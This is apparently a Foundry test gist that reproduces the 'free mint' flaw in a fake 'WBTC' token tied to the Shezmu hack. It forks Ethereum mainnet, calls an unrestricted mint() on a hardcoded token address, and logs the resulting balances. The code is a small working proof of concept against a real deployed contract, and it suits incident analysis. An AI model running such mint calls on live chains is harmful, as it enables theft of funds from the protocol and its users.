Unsafe "WBTC" token used in Shezmu hack

gistfile1.txt

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import { Vm } from "forge-std/Vm.sol";
import {Test, console} from "forge-std/Test.sol";
import {Counter} from "../src/Counter.sol";

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function mint(address account, uint256 amount) external;
}

interface IValueProvider {
    function aggregator() external view returns (address);
}

contract FreeMintTest is Test {
    function setUp() public {
        _setUpFork(vm, "MAINNET_RPC", 20_793_904);
    }


    function _setUpFork(Vm vm_, string memory rpcFork, uint256 forkBlock) public {
        vm_.createSelectFork(vm_.envString(rpcFork), forkBlock);
    }


    IERC20 funkyWBTC = IERC20(0x641249dB01d5C9a04d1A223765fFd15f95167924);
    // Obtained from storage on vault 
    IValueProvider valueProvider = IValueProvider(0xBb9758fA3ae75e3c12178cc3Ba44308AAdF84B25);

    function test_freemint() public {
        uint balBefore = funkyWBTC.balanceOf(address(this));
        console.log("balBefore", balBefore);
        funkyWBTC.mint(address(this), 100);
        console.log("balAfter", funkyWBTC.balanceOf(address(this)));
        console.log("valueProvider.aggregator();", valueProvider.aggregator());
    }

}